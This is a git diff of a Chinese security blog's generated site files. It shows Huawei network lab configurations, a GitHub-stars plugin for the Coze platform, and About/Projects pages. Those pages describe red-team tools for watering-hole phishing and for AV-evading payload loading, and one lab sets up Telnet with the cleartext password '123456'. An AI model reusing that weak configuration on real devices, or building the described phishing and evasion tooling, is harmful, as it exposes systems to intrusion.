0.4em;color:#7f7f7f">80 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">81 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">82 -</span></code></pr华为交换机Telnet远程登录https://payloads.online/archivers/2015-11-20/1/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/1/<p>本文记录一下华为交换机Telnet远程登录的简单配置</p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>&lt;Huawei&gt;sys +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]vlan batch 100 20 30 10 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>提示:此操作可能耗时较长。请稍等…完成。 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]port-group group-member e0/0/2 to e0/0/4 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/2]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/3]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/4]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port default vlan 100 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/2]port default vlan 100 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/3]port default vlan 100 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/4]port default vlan 100 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]port-group group-member e 0/0/5 to e0/0/6 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/5]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/6]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port default vlan 10 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/5]port default vlan 10 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/6]port default vlan 10 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]q +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]int e0/0/20 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/20]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/20]port default vlan 20 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/20]int e0/0/1 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/1]port link-type access +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/1]port default vlan 30 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/1]q +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]vlan 30 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-vlan30]mux-vlan +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-vlan30]subordinate group 10 20 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-vlan30]subordinate separate 100 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]port-group group-member e0/0/1 to e0/0/22 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port mux-vlan enable +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/1]port mux-vlan enable +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/2]port mux-vlan enable +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/3]port mux-vlan enable +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/4]port mux-vlan enable +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/5]port mux-vlan enable +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Ethernet0/0/6]port mux-vlan enable +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]q +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>&lt;Huawei&gt;save +</span></span></code></pre></td></tr></table> +</div> +</div><p>将把当前的配置保存到存储设备中。</p>华为交换机Telnet远程登录https://payloads.online/archivers/2015-11-20/1/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/1/<p>本文记录一下华为交换机Telnet远程登录的简单配置</p> <p> <figure> <img src="https://images.payloads.online/d05697e6-4f5e-11ec-a083-00d861bf4abb.png" alt="enter description here" class="figcaption-img"> @@ -4126,7 +8222,32 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 -</span></code></pr华为交换机VLAN聚合实例https://payloads.online/archivers/2015-11-20/4/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/4/<p>本文记录一下华为交换机VLAN聚合实例配置</p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>&lt;Huawei&gt;sys +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]user-interface vty 0 4 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-ui-vty0-4]authentication-mode aaa +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-ui-vty0-4]q +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-aaa]local-user admin password simple?123456 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-aaa]local-user admin privilege? level 3 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-aaa]local-user admin service-type telnet +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-aaa]q +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]int vlan 1 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-Vlanif1]ip address 192.168.1.1 24 +</span></span></code></pre></td></tr></table> +</div> +</div><p>路由器:</p>华为交换机VLAN聚合实例https://payloads.online/archivers/2015-11-20/4/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/4/<p>本文记录一下华为交换机VLAN聚合实例配置</p> <ul> <li>创建VLAN聚合的VLAN</li> <li>设置VLAN聚合所需要的trunk链路</li> @@ -4168,7 +8289,23 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 -</span></code></pr华为路由OSPF被动接口配置https://payloads.online/archivers/2015-11-20/3/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/3/<p>本文记录一下华为路由OSPF被动接口配置</p> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]int g0/0/1 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-GigabitEthernet0/0/1]port link-type trunk +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-GigabitEthernet0/0/1]port trunk allow-pass vlan 10 20 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]port-group group-member e0/0/1 e0/0/2 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port link-type trunk +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei-port-group]port trunk allow-pass vlan 10 20 +</span></span></code></pre></td></tr></table> +</div> +</div><p>注:Trunk链路不需要allow Vlan聚合的vlan</p>华为路由OSPF被动接口配置https://payloads.online/archivers/2015-11-20/3/Fri, 20 Nov 2015 00:00:00 +0000https://payloads.online/archivers/2015-11-20/3/<p>本文记录一下华为路由OSPF被动接口配置</p> <p>拓扑图:</p> <p> <figure> @@ -4215,7 +8352,46 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">33 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">34 </span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">35 -</span></code></prAbouthttps://payloads.online/about/Mon, 01 Jan 0001 00:00:00 +0000https://payloads.online/about/<!-- raw HTML omitted --> +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-fallback" data-lang="fallback"><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>&lt;Huawei&gt;sys +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>Enter system view, return user view with Ctrl+Z. +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[Huawei]sysname AR1 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1]int G0/0/0 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-GigabitEthernet0/0/0]ip add 192.168.4.1 24 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-GigabitEthernet0/0/0]int G0/0/1 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-GigabitEthernet0/0/1]ip add 192.168.6.1 24 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-GigabitEthernet0/0/1]int G0/0/2 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-GigabitEthernet0/0/2]ip add 192.168.5.1 24 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-GigabitEthernet0/0/2]q +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1]ospf +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-ospf-1]area 0 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-ospf-1-area-0.0.0.0]network 192.168.4.0 0.0.0.255 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-ospf-1-area-0.0.0.0]network 192.168.5.0 0.0.0.255 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-ospf-1-area-0.0.0.0]network 192.168.6.0 0.0.0.255 +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-ospf-1-area-0.0.0.0]q +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span>[AR1-ospf-1]silent-interface G0/0/0 +</span></span></code></pre></td></tr></table> +</div> +</div><p>AR2配置命令:</p>Abouthttps://payloads.online/about/Mon, 01 Jan 0001 00:00:00 +0000https://payloads.online/about/<!-- raw HTML omitted --> <ul> <li>ID:倾旋 / Rvn0xsy</li> <li><a href="https://github.com/Rvn0xsy/">GitHub</a>.</li> @@ -4256,7 +8432,16 @@ DNS 隧道是隐蔽的、可加密的数据传输隧道,基于 UDP 协议, <li><a href="https://github.com/Rvn0xsy/MyWin32CPP">MyWin32CPP</a> | 记录一下我学习的Win32CPP</li> <li><a href="https://github.com/Rvn0xsy/Pricking">Pricking</a> | Pricking 是一个自动化部署水坑和网页钓鱼的项目</li> </ul> -<p>想要了解更多可以阅读:</p>友情链接https://payloads.online/links/Mon, 01 Jan 0001 00:00:00 +0000https://payloads.online/links/<ul> +<p>想要了解更多可以阅读:</p> +<ul> +<li><a href="https://payloads.online/archivers/2021-02-16/1">红队技巧:基于反向代理的水坑攻击</a></li> +<li><a href="https://payloads.online/archivers/2021-02-18/1">Pricking 项目(一) :使用介绍</a></li> +<li><a href="https://payloads.online/archivers/2021-02-18/2">Pricking 项目(二) :JS模块开发</a></li> +</ul> +<ul> +<li><a href="https://github.com/Rvn0xsy/Blowbeef">Blowbeef</a> | 使用C++语言连接WMI接口进行信息收集</li> +<li><a href="https://github.com/Rvn0xsy/red-tldr">red-tldr</a> | red-tldr 是一个轻量级的文本搜索工具,它用于帮助红队工作人员快速的寻找到想要执行的命令、关键点,因此它比较适用于有一定经验的红队人员使用。</li> +</ul>友情链接https://payloads.online/links/Mon, 01 Jan 0001 00:00:00 +0000https://payloads.online/links/<ul> <li><a href="http://www.whsgwl.net/">晏子霜&rsquo;s blog</a></li> <li><a href="https://blog.kali-team.cn/">三米前有蕉皮&rsquo;s blog</a></li> <li><a href="http://gh0st.cn/">Key&rsquo;s blog</a></li> diff --git a/projects/index.html b/projects/index.html index f77346c..420c351 100644 --- a/projects/index.html +++ b/projects/index.html @@ -1,2 +1,2 @@ Projects - 倾旋的博客 -
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

Projects

avatar
  • Cooolis-ms | Cooolis-ms是一个包含了Metasploit Payload Loader、Cobalt Strike External C2 Loader、Reflective DLL injection的代码执行工具,它的定位在于能够在静态查杀上规避一些我们将要执行且含有特征的代码,帮助红队人员更方便快捷的从Web容器环境切换到C2环境进一步进行工作。
  • BadCode | 恶意代码逃逸源代码

想要了解更多可以阅读:

  • Blowbeef | 使用C++语言连接WMI接口进行信息收集
  • red-tldr | red-tldr 是一个轻量级的文本搜索工具,它用于帮助红队工作人员快速的寻找到想要执行的命令、关键点,因此它比较适用于有一定经验的红队人员使用。
\ No newline at end of file +
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

Projects

avatar
  • Cooolis-ms | Cooolis-ms是一个包含了Metasploit Payload Loader、Cobalt Strike External C2 Loader、Reflective DLL injection的代码执行工具,它的定位在于能够在静态查杀上规避一些我们将要执行且含有特征的代码,帮助红队人员更方便快捷的从Web容器环境切换到C2环境进一步进行工作。
  • BadCode | 恶意代码逃逸源代码

想要了解更多可以阅读:

  • Blowbeef | 使用C++语言连接WMI接口进行信息收集
  • red-tldr | red-tldr 是一个轻量级的文本搜索工具,它用于帮助红队工作人员快速的寻找到想要执行的命令、关键点,因此它比较适用于有一定经验的红队人员使用。
\ No newline at end of file diff --git a/readme/index.html b/readme/index.html index 5634c96..ddc2abc 100644 --- a/readme/index.html +++ b/readme/index.html @@ -1,2 +1,2 @@ - 倾旋的博客 -
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

cnposts

中文博客内容

\ No newline at end of file +
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

cnposts

中文博客内容

\ No newline at end of file diff --git a/sponsor/index.html b/sponsor/index.html index eef0255..6a3c5fe 100644 --- a/sponsor/index.html +++ b/sponsor/index.html @@ -1,2 +1,2 @@ 赞助 - 倾旋的博客 -
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

赞助

💖如果我的文章对你有帮助,可以请我喝一杯咖啡~

\ No newline at end of file +
倾旋的博客

倾旋的博客

现阶段在进行有效性验证/攻击模拟相关的安全研究工作,我的博客会记录一些我的学习过程和部分安全技术研究成果。

赞助

💖如果我的文章对你有帮助,可以请我喝一杯咖啡~

\ No newline at end of file diff --git "a/tags/ai\347\233\270\345\205\263/index.xml" "b/tags/ai\347\233\270\345\205\263/index.xml" index 2f68f0f..527b254 100644 --- "a/tags/ai\347\233\270\345\205\263/index.xml" +++ "b/tags/ai\347\233\270\345\205\263/index.xml" @@ -24,7 +24,9 @@ </span></span><span style="display:flex;"><span> -d, --debug </span></span><span style="display:flex;"><span> -h, --help Print help </span></span><span style="display:flex;"><span> -V, --version Print version -</span></span></code></pr
使用Coze平台对Github Star项目进行分析推送https://payloads.online/archivers/2024-06-04/coze-ai/Tue, 04 Jun 2024 00:00:00 +0000https://payloads.online/archivers/2024-06-04/coze-ai/<!-- raw HTML omitted --> +</span></span></code></pre></td></tr></table> +</div> +</div><p>先将Qpipe下载到本地,然后编写特定的配置文件:</p>使用Coze平台对Github Star项目进行分析推送https://payloads.online/archivers/2024-06-04/coze-ai/Tue, 04 Jun 2024 00:00:00 +0000https://payloads.online/archivers/2024-06-04/coze-ai/<!-- raw HTML omitted --> <!-- raw HTML omitted --> <!-- raw HTML omitted --> <!-- raw HTML omitted --> @@ -51,4 +53,79 @@ </tr> </tbody> </table> -<p>这里不多介绍Coze平台的基本功能了,请移步官方文档:<a href="https://www.coze.com/docs/guides/welcome?_lang=zh">Coze - Coze 文档中心</a></p> \ No newline at end of file +<p>这里不多介绍Coze平台的基本功能了,请移步官方文档:<a href="https://www.coze.com/docs/guides/welcome?_lang=zh">Coze - Coze 文档中心</a></p> +<p>整体实现思路如下:</p> +<ul> +<li>编写一个能够读取我自己Github Star项目的插件</li> +<li>编写一个能够向知识星球推送文字的插件</li> +<li>创建工作流,方便后续其他Bot调用</li> +<li>创建一个Bot,编写Prompt,导入上述插件进行调试</li> +<li>设置自定义交互的按钮来修改<code>变量</code>,增加易用性</li> +</ul> +<h2 id="编写访问github-api的插件">🔧编写访问Github API的插件</h2> +<p>为了实现能够将Github的Star项目输入给AI,首先需要编写一个插件,这个插件用于访问Github API接口:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 1 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 2 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 3 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 4 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 5 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 6 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 7 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 8 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f"> 9 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">10 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">11 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">12 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">13 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">14 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">15 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">16 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">17 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">18 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">19 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">20 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">21 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">22 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">23 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">24 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">25 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">26 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">27 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">28 +</span><span style="white-space:pre;-webkit-user-select:none;user-select:none;margin-right:0.4em;padding:0 0.4em 0 0.4em;color:#7f7f7f">29 +</span></code></pre></td> +<td style="vertical-align:top;padding:0;margin:0;border:0;;width:100%"> +<pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">import</span> requests +</span></span><span style="display:flex;"><span><span style="color:#f92672">import</span> os +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#75715e"># 获取Github访问令牌</span> +</span></span><span style="display:flex;"><span>GITHUB_TOKEN <span style="color:#f92672">=</span> os<span style="color:#f92672">.</span>getenv(<span style="color:#e6db74">&#39;GITHUB_TOKEN&#39;</span>) +</span></span><span style="display:flex;"><span>headers <span style="color:#f92672">=</span> { +</span></span><span style="display:flex;"><span> <span style="color:#e6db74">&#39;Authorization&#39;</span>: <span style="color:#e6db74">f</span><span style="color:#e6db74">&#39;token </span><span style="color:#e6db74">{</span>GITHUB_TOKEN<span style="color:#e6db74">}</span><span style="color:#e6db74">&#39;</span> +</span></span><span style="display:flex;"><span>} +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">get_starred_repos</span>(username): +</span></span><span style="display:flex;"><span> url <span style="color:#f92672">=</span> <span style="color:#e6db74">f</span><span style="color:#e6db74">&#39;https://api.github.com/users/</span><span style="color:#e6db74">{</span>username<span style="color:#e6db74">}</span><span style="color:#e6db74">/starred&#39;</span> +</span></span><span style="display:flex;"><span> response <span style="color:#f92672">=</span> requests<span style="color:#f92672">.</span>get(url, headers<span style="color:#f92672">=</span>headers) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">if</span> response<span style="color:#f92672">.</span>status_code <span style="color:#f92672">==</span> <span style="color:#ae81ff">200</span>: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> response<span style="color:#f92672">.</span>json() +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">else</span>: +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">return</span> [] +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">main</span>(): +</span></span><span style="display:flex;"><span> username <span style="color:#f92672">=</span> <span style="color:#e6db74">&#39;your-github-username&#39;</span> +</span></span><span style="display:flex;"><span> starred_repos <span style="color:#f92672">=</span> get_starred_repos(username) +</span></span><span style="display:flex;"><span> <span style="color:#66d9ef">for</span> repo <span style="color:#f92672">in</span> starred_repos: +</span></span><span style="display:flex;"><span> print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;项目名称: </span><span style="color:#e6db74">{</span>repo[<span style="color:#e6db74">&#39;name&#39;</span>]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>) +</span></span><span style="display:flex;"><span> print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;项目描述: </span><span style="color:#e6db74">{</span>repo[<span style="color:#e6db74">&#39;description&#39;</span>]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>) +</span></span><span style="display:flex;"><span> print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;项目地址: </span><span style="color:#e6db74">{</span>repo[<span style="color:#e6db74">&#39;html_url&#39;</span>]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>) +</span></span><span style="display:flex;"><span> print(<span style="color:#e6db74">f</span><span style="color:#e6db74">&#34;Star数量: </span><span style="color:#e6db74">{</span>repo[<span style="color:#e6db74">&#39;stargazers_count&#39;</span>]<span style="color:#e6db74">}</span><span style="color:#e6db74">&#34;</span>) +</span></span><span style="display:flex;"><span> print(<span style="color:#e6db74">&#39;---&#39;</span>) +</span></span><span style="display:flex;"><span> +</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> __name__ <span style="color:#f92672">==</span> <span style="color:#e6db74">&#39;__main__&#39;</span>: +</span></span><span style="display:flex;"><span> main() +</span></span></code></pre></td></tr></table> +</div> +</div><p>以上是我用Prompt AI生成的示例代码,这个示例代码确实能直接拿来使用,但是还需要按照实际情况调整输入输出参数,在Coze平台中每一个插件都可以通过<code>Metadata</code>设定输入参数以及输入参数的数据类型,同样的也有输出参数以及输出参数的数据类型。</p> \ No newline at end of file diff --git a/tags/appveyor/index.xml b/tags/appveyor/index.xml index eaf9963..4a5836a 100644 --- a/tags/appveyor/index.xml +++ b/tags/appveyor/index.xml @@ -23,4 +23,44 @@ <p> <img src="https://images.payloads.online/2024-07-29-0901705e6c5f3cc7db29338176b4c9558f1e87bf3a5e092df44706d38ae89b61.png" alt="2"> -</p> \ No newline at end of file +</p> +<p>由于这个项目是采用C#开发的,所以我们着重关注C#相关的配置:</p> +<p> + <img src="https://images.payloads.online/2024-07-29-1b7abdb53043453e086a25620f4411330f445299864c87d91beb53bc87a47890.png" alt="3"> + +</p> +<p>在Before build script中输入如下命令,会在开始编译之前去下载这个项目所依赖的库:</p> +<div class="highlight"><div style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"> +<table style="border-spacing:0;padding:0;margin:0;border:0;"><tr><td style="vertical-align:top;padding:0;margin:0;border:0;"> +<pre tabindex="0" 